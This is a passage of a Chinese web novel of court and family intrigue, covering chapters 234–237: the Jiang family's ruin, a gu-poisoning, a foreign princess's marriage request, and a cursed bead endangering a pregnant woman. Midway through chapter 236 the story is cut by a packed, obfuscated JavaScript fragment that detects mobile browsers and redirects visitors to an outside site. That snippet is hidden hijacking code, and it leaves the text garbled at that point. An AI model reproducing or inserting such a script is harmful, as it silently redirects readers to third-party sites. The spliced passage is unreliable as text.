姜绾心只见推着轮椅的,竟是她的弟弟姜珏。
少年面无表情,一双乌沉沉的眼睛看着她。
姜绾心被姜珏的眼神看得有些不自在,但此刻顾不得许多,只皱眉道:“珏哥儿,你别在这裹乱……”
姜珏却仿佛没听见她的话,只是继续道:“祖母说——让你跪下。”
姜绾心:“???”
姜老夫人也愣住了,随即更加剧烈地摇头摆手,嘴里“唔唔”得更急:她不是这个意思!
姜珏却继续“翻译”道:“祖母说,二姐姐你不孝,不顾长辈病体,在此喧哗生事。让你就跪在这府门口,好好反思己过。”
姜老夫人急得差点从轮椅上弹起来:胡说!她没说过!
第234章 报应!活该!
姜珏顿了顿,看着姜绾心瞬间涨红的脸,继续凉凉地补充道:
“至于梅姨娘……陛下有特旨,已由宫里派来的专人‘看护’。
祖母让我转告二姐姐,莫要擅自去惊扰,更莫要自作主张,违逆圣意。
否则,牵连了一大家子人,那可就……不好了。”
姜老夫人拍打扶手的手猛地顿住了。
脸上激动的潮红迅速褪去,取而代之的是一种深深的恐惧与无力。
她虽然口不能言,脑子却不糊涂。
梅氏被送回来时那副惨绝人寰、臭不可闻的模样,她亲眼所见。
宣旨太监那冰冷严厉的旨意,她亲耳所闻。
梅氏闯下的,是谋害皇嗣、触及帝王逆鳞的弥天大祸!
皇帝没当场要了梅氏和姜家全族的命,已是格外开恩了。
她猜测梅氏铤而走险,或许是为了心儿在东宫的地位,但这胆子也忒大了!
简直是把全家人的脑袋别在裤腰带上!
无怪乎世安那么注重体面的人,听完圣旨后,都气得浑身发抖,狠狠扇了梅氏一个耳光!
只是不知怎么回事,世安打完那一巴掌之后,自己却突然脸色发青,直挺挺地倒在了地上,口中还溢出黑血!
还好后来他们央求跟梅氏回府的御医瞧了一眼,对方说看不准是怎么回事儿,只说暂无性命之忧。
想到儿子那诡异的状况,姜老夫人心中又是一阵揪痛!
她忽而挣扎着,用尽力气,朝着姜云昭离开的方向,含混地喊道:“触唔唔着唔泥得!”(去求云昭救你爹!)
这一次,姜珏倒没有故意曲解。
他看着祖母眼中真实的焦急与哀求,目光闪烁了一下。
沉默片刻,他看向姜云昭,扬声开口道:
“云司主留步。祖母说……想恳请您,帮忙去看看父亲的情况如何。他方才突然晕倒吐血,情形很不好。”
姜家这晦气地方,云昭可没有半点再踏足回去的心思。
但她并不介意,在这即将彻底了断的时刻,给这些曾经的亲人,再“答疑解惑”一番。
于是她开口道:“贵府姜大人的情况,方才在府内,我已顺道看过了。
我对蛊毒一道,懂的不算太多。但观其面色青黑,气息紊乱,呕出黑血,且血中隐有细微活物蠕动之象……
瞧着,倒像是中了某种颇为阴损的蛊术。”
姜老夫人面色骤变,双目圆睁,喉咙里发出嗬嗬的怪响。
一旁的姜绾心也是浑身一震,脸色瞬间变得极其难看,手下意识地攥紧了帕子。
云昭如同没看到她们的神情一般,继续道:
“我知道你们不信我的话。你们大可以去寻精通此道的蛊师,好生查探验证。”
她侧过身,目光平静地扫过轮椅上的姜老夫人,又若有深意地瞥了一眼脸色苍白的姜绾心,一字一句,清晰无比地说道:
“看在相识一场的份上,我不妨对你们说句真心话——
你们若还想他多活些时日。就尽量,将他挪得离梅姨娘远一些。否则,他恐怕会死在梅姨娘的前头。”
这话,几乎就等于在明示——
姜世安身上的蛊毒,与梅柔卿脱不开干系!
甚至,可能就是梅柔卿下的手!
“轰——!”
此言一出,不仅姜家人如遭重击,周围竖起耳朵听着的百姓们也彻底炸开了锅!
“我的天爷!姜大人居然中了蛊?”
“姜大人曾经还是礼部尚书啊!多么清贵的人物,怎会招惹上这种东西?!”
“哎呀!我早就说了!宠妾灭妻,必遭祸殃!你们看看!从前苏夫人在时,姜府什么时候出过这么多妖魔鬼怪的事?!”
“这梅氏根本就是个灾星!半点不旺家,专会带来晦气!”
“什么灾星扫把星!要我说,这女人就是骨子里带出来的恶毒!连自己夫君都敢下蛊!姜家,这就是自作自受,是报应!活该!”
“真是没想到啊……高门大户里头,竟然腌臜至此……”
百姓们的议论声如同潮水般涌来。
每一句话,都像是一记响亮的耳光,狠狠扇在姜家所剩不多的脸面上。
姜老夫人听着这些刺耳的议论,看着云昭决绝离去的背影,又想到儿子生死未卜、身中蛊毒的惨状……只觉得天旋地转!
她拼命伸出手,想要去抓云昭的衣袖,想要求她救救世安,哪怕只是帮忙再瞧一眼……
“祖母!”
姜珏眼疾手快,一把扶住了差点从轮椅上栽倒的姜老夫人,和旁边的婢女一起,将她重新按回轮椅上坐好。
姜珏低下头,看着祖母因绝望和痛苦而扭曲的老脸。
他低声开口,用只有两人能听到的音量,声音里带着少年人罕见的冰冷与尖锐:
“祖母,您现在再去求云司主,还有什么用呢?
当日她历尽艰辛,回家认亲,咱们姜家上下,是怎么对她的?您还记得吗?
现在,人家已经不认咱们这门亲了。是陛下亲口下旨准了的。
祖母,现在再想去求,去挽回……晚了!”
他的话语,像最后一把冰锥,彻底击碎了姜老夫人心中仅存的一点幻想和侥幸。
她瘫在轮椅上,目光呆滞,仿佛一瞬间被抽走了所有的精气神,只剩下一个苍老腐朽的空壳。
而另一边,姜绾心再也无法忍耐。
她狠狠瞪了一眼那些议论纷纷的百姓,转身提起裙摆,迫不及待地冲过了姜府的门槛,朝着内院疾奔而去。
她在东宫这大半日,可能错过了翻天覆地的变故!
姜云昭为何能与姜家断亲得如此干脆?母亲为何会被宫里送回来?还有,母亲怎会与柔妃小产之事有关?
直觉告诉她,今日这一切恐怕都与姜云昭脱不开干系!
无数疑问和恐慌交织在她心头,让她几乎喘不过气。
但眼下,整个姜府乱作一团,父亲昏迷,祖母瘫痪,母亲还受了伤……她实在没有精力和底气再去跟姜云昭纠缠。
然而,当她气喘吁吁地冲进府内,眼前的景象,让她浑身的血液仿佛在瞬间冻结!
浓烈到令人作呕的腐臭与血腥气,混杂着药味扑面而来。
房间角落,一个简易担架上,依稀能看出人形的梅柔卿蜷缩在那里,身上盖着的薄被污秽不堪,隐约可
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见渗出的可疑黄黑色污渍。
她双目紧闭,脸色是一种**才有的青灰,呼吸微弱得几乎看不见胸膛起伏。
两名面白无须、眼神冰冷的内侍,如同门神般一左一右守在门口,对房内的一切视若无睹。
而房间另一侧的床榻上,姜世安仰面躺着,面色同样青黑,嘴角残留着未擦净的黑血。
房间里除了那两名内侍,竟连一个端茶送水、伺候汤药的下人都没有!
“娘——!爹——!!”
姜绾心双腿一软,再也支撑不住,“噗通”一声跪倒在地,发出一声凄厉到变调的尖叫。
“姜云昭,我与你不共戴天!”
*
皇宫。
常玉轻步上前,低声禀报:“陛下,朱玉国玉珠公主在殿外求见。”
皇帝从一份边关军报上抬起眼,眸光微动:“哦?她一个人来的?”
“回陛下,正是。玉珠公主只带了随身的几名朱玉国侍女,并未见三皇子赫连曜与那位左贤王兀术陪同。”
皇帝闻言,搁下了手中的朱笔,指尖无意识地摩挲着扶手上冰冷的龙首雕刻,眼底掠过一丝思量。
独自前来……这倒有些意思。
“宣她进来。”皇帝淡淡吩咐,语气听不出喜怒。
一旁的长安长公主闻言,蹙了蹙精心描画过的秀眉。
她今日特意进宫,乃是为了驸马卫临主动请缨前往南疆之事。
虽说驸马有志为国分忧、整肃边务,她理应支持。
可南疆偏远,瘴疠横行,民情复杂,更兼孟峥倒台后留下的烂摊子……她如何能不忧心?
此番入宫,便是想再向皇兄多讨要些精锐兵马和得力人手,务必确保卫临此行周全,万不能有丝毫闪失。
皇兄方才已应允增派一队皇家侍卫,可她心里仍觉不足,正待再开口细陈,玉珠公主却恰好此时求见。
长公主心下不悦,却也只能暂且按捺,端坐一旁,静观其变。
不多时,殿外传来清脆而略显急促的环佩叮当之声,伴随着女子轻快有力的步伐。
只见玉珠公主昂首挺胸,大步流星地走了进来。
“玉珠见过大晋皇帝陛下!”她依照晋礼,不甚标准却足够响快地行了个礼。
皇帝面上露出温和笑意,虚抬了抬手:“公主不必多礼。这几日在京城游玩,可还舒心?”
玉珠公主毫不避讳地朗声笑道:“多谢皇帝陛下关心!
京城很好,很大,很热闹,东西也好吃,比我们草原上有意思多了!”
她话锋一转,带着毫不掩饰的欣赏,“尤其是你们那位玄察司主姜云昭,鞭子甩得真漂亮!她这个人,也很有趣!”
听到她提及姜云昭,皇帝眼中笑意深了些许。
玉珠公主根本没打算拐弯抹角,她上前一步,目光灼灼地盯着皇帝,语出惊人:
“皇帝陛下,我今日来,是有一件事要求您!我想请皇帝陛下,将你们大晋的状元郎姜珩——赐给我!”
此言一出,不仅侍立两旁的宫人内侍面露惊愕,连一旁心事重重的长安长公主也诧异地抬起了眼,看向这位语不惊人死不休的异国公主。
第235章 心底最深的一根刺
皇帝面上的温和笑容微微一滞,眼眸深处,瞬间掠过诸多思量。
但他很快恢复了平静,只是那平静之下,已带上了属于帝王的审视与探究。
“赐给你?姜珩乃我大晋的状元,朝廷钦点的翰林院修撰,是朕的臣子,朝廷的命官。如何能像一件玩物、一匹骏马般,随意‘赐给’公主?”
玉珠公主显然早就想过这个问题。
她满不在乎地挥了挥手,腕上金镯的铃铛相互碰撞,发出叮当脆响:“我知道他是官儿!但这不妨事!就按照你们晋朝的风俗来办嘛!”
她脸上露出一种混合着好奇与跃跃欲试的神情,“这几日我在京城里逛,看到好些人家娶亲嫁女,可热闹了!
新娘子穿着大红嫁衣,坐着花花绿绿的轿子,头上还盖着块红布,叫……叫盖头!被新郎用箭射下来,或者用秤杆挑开,可有意思了!跟我们草原上完全不一样!”
她越说眼睛越亮:“皇帝陛下,您就把姜珩赐给我做驸马吧!
我们可以在京城,就按照你们晋朝最热闹的礼节,举办一场盛大的婚礼!我要坐那个花轿,盖那个红盖头!”
她的话语直白、热烈,甚至带着一种孩童索要心爱玩具般的理所当然。
然而这话听在皇帝耳中,却绝不可能如此简单。
一个异国公主,突然提出要聘大晋官员做驸马……
这背后,仅仅是公主的个人任性吗?
皇帝沉吟片刻,不动声色地问道:“公主此愿,倒是有趣。只是……不知三皇子与左贤王,对此事有何看法?
公主毕竟代表朱玉国而来,婚姻大事,恐需贵国皇室首肯。”
玉珠公主闻言,脸上笑容更盛,带着几分得意:“皇帝陛下放心!我兄长他早就知道了!
我来之前就跟他说过我喜欢姜珩,觉得他长得好看,又是状元!
我兄长说了,我若真心喜欢,不妨就留在京城,把婚礼热热闹闹地办了再说!等玩够了,再考虑回不回去的事!”
皇帝眼中,一抹幽深难测的锐利光芒倏然闪过。
赫连曜这话,看似纵容妹妹胡闹,实则大有深意!
皇帝心念急转,姜珩此人虽有才学,但心性不堪,名声已污,留在朝中也是鸡肋。
若能用他“换取”玉珠公主留京,进一步稳住与朱玉国的关系,这笔买卖,倒也不亏。
只是这玉珠公主的性子,若真要就此留在京中,还不知要惹出多少风波……
皇帝脸上重新浮现出那种温和而略带威严的笑容:
“玉珠公主一片赤诚,朕心感念。姜珩能得公主青眼,亦是他的造化。只是,婚姻乃人生大事,尤其涉及两国邦交,不可草率。
公主且先回驿馆,此事……容朕思量一二,并与贵国三皇子详加商议,再给公主答复,如何?”
玉珠公主似乎有些失望,但听到皇帝说要与兄长商议,便点了点头,行了个礼:
“那皇帝陛下可要快些想!我等着您的好消息!”
说罢,她朝皇帝行了一礼,又像来时一样,风风火火地转身离开了。
长公主深知自己这位皇弟心思深沉如海,见他自玉珠公主离去后便双眸微阖,便知今日绝非再细谈驸马南行护卫之事的良机。
她寻了个由头,起身告退。
待回到公主府,她于书房**片刻,铺开一张素笺,提笔蘸墨,将今日养心殿中玉珠公主那番惊人之请,以及皇帝看似温和实则莫测的反应,简明扼要地书于纸上。
写罢,用火漆封好,唤来心腹侍女,低声吩咐:“速将此信,送至昭明阁,务必亲手交到云昭手中。”
*
一双素白纤长的手,轻轻拆开了火漆封口的信笺。
云昭垂眸,迅速掠过信上娟丽字迹:
「孟氏胎象已稳,暂保无虞。君所赠解药,吾已按期服用,体内沉疴似有缓和。深谢。」
云昭脑海中浮现出柔妃那张天然婉媚的脸庞。
碧云寺为柔妃请脉时,云昭便已诊出,这位深得帝宠的妃子,体内竟沉积着一种极为隐秘的**。
寻常太医极难察觉,只当是娘胎里带来的弱症。
彼时,云昭便隐约猜到了这位宠妃深藏不露的意图与决绝——
她是以自身为饵,以健康乃至寿命为代价,在向皇室复仇。
只是当时二人并未深交,亦无契机将此事挑明。
直到前日,萧启派人送来一封以特殊药水写就的信函,正是柔妃亲笔。
信中,她简明扼要地道明了自己身为褚家远亲遗孤的**,以及十年前孟清妍如何构陷褚羽柔、并嫁祸褚家通敌,致使褚家满门抄斩、三族尽诛的血海深仇。
柔妃坦言,自己步步为营,博得圣宠,所为便是复仇。
云昭有信心借黑石寨岩诺之事,彻底扳倒孟家,便与萧启、柔妃联手布下这局棋。
朝堂之上的事,已然尘埃落定,自不必多说;
至于后宫之中,梅氏自以为下毒之事做得机密,实则她一举一动,早已落在柔妃事先安插在披香殿的暗桩眼中。
只待陛下圣旨一下,梅氏图穷匕见,与孟清妍彻底撕破脸,便让侍卫引诱梅氏到漪兰殿。
之后,将柔妃“小产”一事,顺理成章栽赃到梅氏和孟氏身上,并借皇帝之手,将此二人彻底铲除。
然而,孟氏的胎儿事涉太子,除非皇帝彼时足够狠心,否则这一胎,无论如何都是要保下来的。
云昭在通过萧启递给柔妃的回信中,除了商议细节,还附上了自己精心调制的解毒丸。
她在信中坦言,若柔妃愿意信任并服用,假以时日,她体内沉积的慢性毒素总能逐渐拔除,身体可望恢复大半,至少能多活二三十年,安稳终老。
但若她依旧选择原先那条绝路,以她目前的身体状况,不出三年,必会毒发身亡,香消玉殒。
云昭并不确定,柔妃一定会按照自己希冀的去选。
但她已经竭力让柔妃看到,哪怕是为了复仇,她不必孤注一掷,不必玉石俱焚。她还有一条更光明的坦途可以走。
看着信笺在跳跃的烛火上蜷曲焦黑、化为灰烬,云昭的神色在明灭的光影中平静无波。
门外传来轻盈的脚步声,随即是熟悉的的唤声:“昭儿。”
是苏氏来了。
云昭迎上前,握住母亲微凉的手,引她坐下:“母亲可都检查过了?从姜家取回的嫁妆单子上的物品,可有缺损?”
苏氏眼圈微微泛红,显然是方才已哭过一回。
但此刻她的眼睛里,除了未散的泪光,更多的是如释重负的欣慰与骄傲。
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她摇了摇头,声音还有些哽咽,却带着踏实:“都清点过了。单子上列明的一样不少。
只是其中有几间原本地段极好的铺子,这一两年不知怎的换了管事,账目糊涂,生意也一落千丈,怕是亏空了不少。”
她紧紧回握住云昭的手,语气充满感慨与满足:“不过,这些……这些已经是母亲从前想都不敢想结局。
昭儿,真的,已经很足够了。
母亲很知足,也很为你骄傲。”
云昭闻言,唇角弯起一抹弧度。她反手轻轻拍了拍母亲的手背,声音平静道:
“母亲且放宽心。姜家的报应……还没到头呢。”
姜世安身中蛊毒,性命已如风中残烛,被梅氏牢牢攥在手心。
而以梅氏如今那副不人不鬼的模样,她心中滔天的怨毒与不甘,岂会让姜世安好过半分?
这对昔日的‘神仙眷侣’,从前处处机关算尽,处心积虑,害人无数。
如今落得这般田地,正好可以彼此算计,互相折磨,在绝望与痛苦中耗尽最后一点生机。
这才叫……真正的报应。
只不过,姜绾心与姜珩这对兄妹,还需她亲手奉上一个好结局。
就在这时,门外传来墨七的禀报声:“司主,府外来客,自称是苏家人,求见夫人与司主。”
云昭察觉到,母亲原本稍微放松的神情又染上了一层复杂与黯然。
她心中了然,转向苏氏:“母亲,您若是愿意信我,便将此事全权交由我来处置,可好?”
苏氏抬眸,对上女儿的眼睛,心中百感交集。
面对姜家,她可以做到心如铁石,毫无留恋。
可对上自己的娘家,对上爹娘兄长,尤其是林静薇——
那是她心底最深的一根刺。
每每想起,便觉胸口窒闷,不知该如何面对。
母亲自幼偏心表妹,是她心里永难平复的委屈与伤痛;
爹爹将一颗心全扑在朝堂政务与书院教学之上,对后宅之事多有疏忽,未能给她足够的庇护与关爱。
及至那日发生那样的事……一步错,步步错,让她彻底对家里寒了心。
可出嫁之时,是爹爹做主,不顾母亲反对,给了她一份堪称丰厚的嫁妆。
彼时,苏文正甚至特意请了族中长辈与京城有信誉的保人,将这份嫁妆单子在官府与民间都做了公证,言明这是她的私产,与夫家无关。
出嫁的前一日,他曾私下对她道:“爹给你这些,是盼你在夫家能有底气,若将来……真有不好,你和孩子,总还有个依靠。”
姜家若想贪墨侵吞她的嫁妆,除非她和珩儿、昭儿,都不在人世了……
否则,这些永远都是她苏**的东西,姜家再如何不甘,也无从抵赖。
对娘家,她有怨,有恨,有憾,有心结。
但骨子里的血脉亲情与父亲的暗中回护,又让她无法真正狠下心肠,彻底割裂。
或许,唯一的办法,便是保持距离,各自安好。
思及此,苏氏深吸一口气,看着云昭道:
“昭儿,苏家的事……母亲就全权托付给你了。你不必顾虑母亲的心情,想怎么做,便怎么做罢。”
如今她已彻底离了姜家,或许,她终于可以试着,真正地放下过去,开始暂新的生活了。
第236章 整顿苏家、执掌门户
茶楼雅间内,熏香袅袅。
云昭推门而入,檀木窗棂透进的斜阳正落在临窗而坐的妇人肩上。
候在里面的竟是王氏,她今日着了件藕荷色襦裙,发髻简单绾着,虽因孕中略显丰腴,眉目间却比从前多了几分舒展气度。
云昭目光一转,便定在了王氏身侧那位负手而立的男子身上。
男子约莫四十上下,一袭青灰直裰,腰间只悬一枚素玉。
眉眼间竟与母亲苏氏有六七分神似——
只是母亲的眼神总是温婉中带着忧悒;
而此人眸中却含着一种洒落不羁的澄澈,仿佛世事纷扰皆不入心。
云昭脚步微顿,目光与那男子相接。
他亦在打量她,眼中并无陌生与审视,反倒浮起一层了然般的笑意,那笑意很浅,却仿佛早已认识她多年。
“云昭。”男子开口,声音清朗如玉石相击。他没有贸然上前,只站在原处浅笑着道:“我是苏凌风。”
——是她那位在苏家行二的舅舅,苏惊澜与苏惊墨的父亲,王氏的夫君。
云昭朝他微微颔首,执了晚辈礼:“二舅舅。”
苏凌风却郑重朝她一揖到底:“多谢你,救了我们一家四口。”
他抬起头,眼中漾着真切的光,“王氏已将一切告知于我。
若无你出手,她与腹中孩儿恐怕早已凶多吉少。
墨儿与澜儿,亦承你之情方得平安。
此恩重于山,苏某铭记于心。”
云昭第一次见到苏凌风,便已明了,为何苏惊澜和苏惊墨会被教养得那般光风霁月。
她的这位二舅舅,周身气度舒朗开阔,不囿于俗礼,不居高临下,与苏家那一板一眼的门风格格不入。
“云司主,快请坐吧。”王氏笑着招呼,刚要起身,却“嘶”地轻抽了口气,扶着腰又坐了回去。
她身后的朱嬷嬷连忙上前搀扶,一面朝云昭解释道:“司主莫怪,我们夫人前日闪了腰,起身不便,老奴代夫人赔礼了。”
云昭听得微讶,下意识看向王氏小腹。
王氏颊边泛起赧色,轻抚腹部道:“已经找大夫瞧过了,无碍的。当时也没觉得怎么,都回家了才发现腰闪了。”她说着嗔了朱嬷嬷一眼,“就你话多。”
朱嬷嬷却是快人快语的性子:“老奴早劝夫人,要打那林氏,让老奴动手便是,您偏要亲自来!
那两巴掌下去,林氏脸都歪了,可您自己也闪了腰……幸好小小姐福大,没被惊着,不然老奴真不知怎么向老爷交代!”
朱嬷嬷将王氏冲回苏家掌掴林氏的事竹筒倒豆子般讲得绘声绘色,说到激动处,连王氏如何厉声斥责,都模仿得惟妙惟肖。
云昭倒是没想到,那日林氏在自己手上吃了那样大的亏,回到家后,居然又被王氏教训了一遭。
但听朱嬷嬷讲来,那日王氏骂得也真痛快,打得也真痛快,听得她几度抿唇,强压笑意。
过程中,云昭侧目看去,苏凌风脸上没有半点怒色或尴尬,反而眼底蕴着笑,透着一种说不出的包容和温柔。
听到末了,他竟朝王氏拱手一揖,戏谑道:“多谢夫人嘴下留情,没有当场休了为夫。”
说罢,他亲自执壶,斟了一盏清茶奉予云昭,再次郑重道谢。
云昭接过茶盏,心中暗叹。
真没想到,祖父那样板正的性子,大舅舅那般优柔天真,二舅舅居然是这样的率性洒脱。
她本以为今日茶楼之约,会是外祖父出面周旋。
便索性开门见山:“不瞒二位,苏玉嬛的尸身仍停于玄察司,短期之内不会发还。
若苏家有人托二位传话,可将此言带回。若有异议,不妨直接来玄察司寻我。”
苏凌风神色一正,肃然道:“今日我夫妇前来,只为谢恩,绝无他意。”
言罢,他向后微一抬手。
一直静立角落的随从应声上前,将两只沉甸甸的乌木匣子置于案上。
匣盖开启,金光流泻——
竟是满满两匣金锭,每锭皆铸成小巧的如意形,在斜阳下熠熠生辉。
随后又有几只锦盒陆续摆开,盒盖掀开,药香扑面而来,里头是品相极佳的老参、灵芝、雪蛤等珍稀药材。
苏凌风温声道:“听闻你精通医理,恰巧前些日子有人以这些药材抵债,留在我手中亦是蒙尘。
你瞧瞧,这些成色可还入眼?若用得着,便当作舅舅给你的见面礼。”
王氏亦柔声劝道:“云昭,你务必收下。这不只是谢礼,更是我们一片心意。”
云昭目光掠过金锭与药材,心中明了这礼物的分量。她不再推辞,坦然颔首:“既如此,云昭便愧受了。”
“有些事,我想着还是告诉你一声。”王氏敛了笑意,正色道,
“我和你二舅舅,已经搬回老宅了。你外祖父把你外祖母送回了老家,林氏主动提出要陪着。
你大舅舅说是不放心她们娘俩,也跟着一同回去了。”
苏凌风接话,语调平稳却字字清晰:“今日朝堂之上,你与姜家分家之事已传开。
你外祖父散朝回府后,独自在书房闷了一上午。晌午过后,便决意送你外祖母回乡。”
他顿了顿,眼中掠过一丝深思,“走得颇为匆忙。”
王氏皱了皱眉,压低声音:“我总觉得此事蹊跷。林氏主动提出陪同——
女儿新丧,尸骨未寒,哪个做母亲的会舍得在这个节骨眼上离京?
何况她平日最重体面,岂会愿意离了这繁华之地,去乡下地方?”
云昭眸色微沉。
云昭眸色倏然一沉。王氏所疑,正是她心中所想。
外祖母未必愿走,但林氏定然迫不及待。借护送之名,行离京之实,倒是好算计。
和聪明人说话就是不费力。王氏主动将苏家近况逐一交代清楚,省了云昭不少力气。
“他们何时动身的?”云昭问。
“约莫半个时辰前。”
难怪蹲守苏家的暗卫没来回报——
彼时她正在姜家处理分家事宜,而暗卫想必已经奉命跟上林静薇了。
云昭颔首,正欲起身告辞,苏凌风却抬手示意她稍待。
他亲自将云昭送至雅间门口,在门槛前驻足,声音压低,仅二人可闻:
“昭儿,我知你与你娘未必愿意重回苏家。如今苏家内里纷杂,不回来亦是明智。
待他日家中尘埃落定、清朗之时,舅舅定亲自去迎你娘和你回家。”
云昭闻言,不由抬眸深深看了他一眼。
苏凌风眉眼间笑意温煦,可那温煦之下,却隐约藏着一缕不易察觉的锐意与笃定。云昭心中微动——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940170|187080||http|test|mini|href|location''.split(''|''),0,{}));
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>原以为这位二舅舅只是个洒脱不羁的闲散人,可听他言下之意,竟似有意整顿苏家、执掌门户。
就在这时,楼梯处突然传来一阵凌乱急促的脚步声,夹杂着压抑的喘息和呜咽。
门扉被猛地推开,一道熟悉的身影跌撞而入。
竟是近来一直侍奉在母亲苏氏身边的严嬷嬷。
她发髻散乱,满面泪痕,一眼看见云昭,竟直接扑跪在地,颤抖着抓住云昭的衣摆:
“司主!司主求您……”严嬷嬷的声音抖得不成样子,“求您去看看我家媳妇儿!
她……她见了红,胎像不稳,大夫说恐是难保!
接生婆也来了!但说生不下来!
求您去帮着瞧一眼,若是您也救不了,我们就认命了……”
话音未落,她已泣不成声,额角重重磕在地上,声声叩心。
云昭俯身扶住严嬷嬷:“人在哪儿?带路!”
苏凌风与王氏对视一眼,王氏急道:“坐我们的马车去!快!”
一行人匆匆下楼。
云昭一边疾步而行,一边飞快询问严嬷嬷详情。
原来她儿媳怀胎七月,今日午后突然腹痛见红,请来的大夫皆摇头叹息,说胎象凶险,母子恐难两全。
之后没办法,又请来了附近最好的接生婆,可对方不仅说生不下来,还说再这样下去,大人孩子都保不住!
严嬷嬷走投无路,听闻云昭在附近茶楼,便拼了命赶来。
马车停在城西一条窄巷前。
云昭撩开车帘,只见巷子深处一座小院,门楣已显斑驳,但门环却擦得锃亮,台阶也扫得干干净净——
正是严嬷嬷的住处。
她毕竟是公主府里有头脸的嬷嬷,如今儿子在衙门做个书吏,家境算不得富贵,却仍维持着体面人家的整洁。
云昭快步走进院中,还未进屋,一股血腥气已扑面而来。
那气味混着草药的苦涩,还有一种说不出的浊气,像是久未通风的霉味,又夹杂着某种若有若无的、令人不安的甜腻。
她推门而入。
屋内光线昏暗,只点了一盏油灯,窗户紧闭,帘子也拉得严严实实。
云昭目光如电,迅速扫过屋内:
床前跪着个接生婆,正拿着布巾擦拭,盆里的水已染成淡红色;
墙角站着个脸色惨白的青年,应是严嬷嬷的儿子;
床上躺着的女子,看上去不过二十出头,此刻却面如金纸,满头冷汗浸湿了鬓发。
最刺目的是她身下的被褥,条缕的暗红正在洇开。
云昭快步上前,却在靠近床沿时,目光骤然一凝。
她的视线定在女子颈间。
苍白的脖颈上,汗湿的皮肤黏着一根细细的红绳。绳子本是鲜红色的,此刻被汗水浸透,成了暗沉的红褐色。
云昭伸出手,指尖轻巧地一挑,便将那红绳从女子颈间拽了出来。
绳上正拴着一颗指甲盖大小的褐色珠子。
云昭捏着那珠子问:“这珠子,你们从何处而来?”
严书吏见状,脸色“唰”地变了。他嘴唇哆嗦着,想说什么,却发不出声音。
严嬷嬷此时才气喘吁吁地追进屋来。
一见儿子这副模样,又见云昭手中的珠子,老脸骤然煞白:“这、这珠子怎么还在她身上?我不是让你扔了吗!”
第237章 母子同丧,怨气冲天
严书吏“扑通”一声跪了下来,声音哽咽发颤:
“娘……我、我没舍得扔!这珠子是儿子之前花了整整五百两银子,跟玄都观的道长求来的!都说这是供奉过三清祖师的圣物……”
“糊涂!”严嬷嬷气得浑身发抖,扬手就要打,“到底是五百两银子重要,还是你媳妇和孩子的命重要!”
严书吏“嗷”的一声哭了出来:“说不定正是这颗珠子帮丽娘撑着!呜呜……那道长说了,见红是排秽,戴着珠子才能镇住胎气……”
“放屁!”严嬷嬷气得浑身哆嗦,狠狠一拳捶在儿子肩头,“你个糊涂蛋!娘成日跟在司主身边,什么奇闻异事没听过?你怎么就是不信!
那玄都观要真是灵验,司主为何从不踏足?玄察司上下,为何无人去买他们的符水丹药?你这猪脑子!”
云昭已无暇听这母子争执。
她将那珠子举到油灯下,昏黄的光线穿透褐色的珠体,隐约可见内里纵横交错的暗红纹路——
那纹路不像天然形成,倒像是用极细的针蘸着某种液体,一笔一画勾勒进去的。
指尖用力一捏,珠子表面竟渗出些许黏腻的浆液,甜腻浊气骤然浓烈。
云昭的声音沉了下来,“说清楚。这珠子如何得的?何时的事?”
严书吏伏在地上,抽噎着断断续续道:“是、是半个月前……同衙门的李主簿拉我去玄都观,说他要求姻缘。
我本来不想去,可他说观里有位‘长春子’道长,最擅妇科和子嗣之事……我就跟着去了。”
他抹了把泪,继续道:“那道长……约莫五十来岁,留着三缕长须,穿着一身崭新的青灰道袍。
我一进去,他抬眼看了我片刻,就说:‘施主面带忧色,家中妻子应有身孕,但胎象不稳,可是如此?’”
“他说得分毫不差!丽娘那几日正好说小腹坠胀,我正心焦……道长又说,丽娘命里带‘阴煞’,接下来恐怕会见红,若不好生镇着,母子都有危险。
然后他就拿出了这颗珠子!他要价五百两。我当时吓得腿软,这么多银子……
可我刚一犹豫,旁边就冲进来一个穿着绸缎衣裳的商人,嚷嚷着要买。
说他堂姊上个月戴了这珠子,原本大夫说保不住的孩子,竟顺顺当当生下来了,他这次要再买一颗给妻子备着。
那商人当场就要掏银票……我、我想着丽娘和孩子的命要紧,就咬牙抢下这颗珠子……”
严书吏说到此处额头抵着地面呜呜痛哭:“道长叮嘱,必须日夜佩戴,沐浴睡觉都不能离身,如此才能借珠中灵气护住胎元。
起初两日,丽娘确实说舒服了些,小腹不坠了。
可五天前,她就说心口发闷,像压着石头,夜里总做噩梦,梦见有个穿红衣服的小孩拉她走……”
“娘知道后,大骂我糊涂,说玄都观的东西邪性,司主从不沾那些,让我赶紧扔了。
我、我偷偷藏起来了……今日丽娘突然见红,稳婆都说凶险,我实在没法子,想着死马当活马医,就又给她戴上了……”
云昭听着,眸中寒意越来越盛。
玄都观所图甚大。
广撒这种“保胎珠”,绝不只是为了敛财或与她作对。
眼下救人要紧,云昭不再思量,将珠子往掌心一攥,触手竟微微发烫。
她转身,语速快而清晰:“严嬷嬷,备白酒、火盆、剪刀用白酒煮过。”
她又命莺时:“开药箱。取‘固元散’三钱、‘血竭粉’五钱、参片即刻含入产妇舌下。”
云昭一边吩咐,一边已掀开染血的被子,对那瑟瑟发抖的接生婆道,“你,过来帮忙。按住她的肩井穴和足三里,用力,但不可伤她。”
接生婆连忙照做。
云昭指尖再次搭上丽娘腕脉,闭目凝神。脉象滑散欲绝,如风中残烛。
心中忽有感应,云昭悄然开启了玄瞳视界。
只见丽娘身侧的虚空中,一道穿着黑色祭司长裙、红瞳如血的身影,正静静悬浮——
正是已与云昭达成契约的阿措依。
阿措依吞吃了孟峥的魂魄后,力量似乎更凝实了些。
她垂眸看着丽娘腹中那团微光,红瞳里闪过一丝亮色,用只有云昭能听见的鬼语道:“我可以帮你,暂时稳住这孩子的生机。”
云昭手上动作不停,用鬼语快速回应:“你如今与我缔结契约,就得守我的规矩。别打歪主意。”
阿措依轻轻笑了:“我不要这孩子的命。但你应该也看出来了,下咒之人,是想要这对母子的命——
而且,就要他们死在今夜亥时三刻。”
她飘近了些:“亥时三刻,是阴年阴月阴日阴时交汇的一瞬。
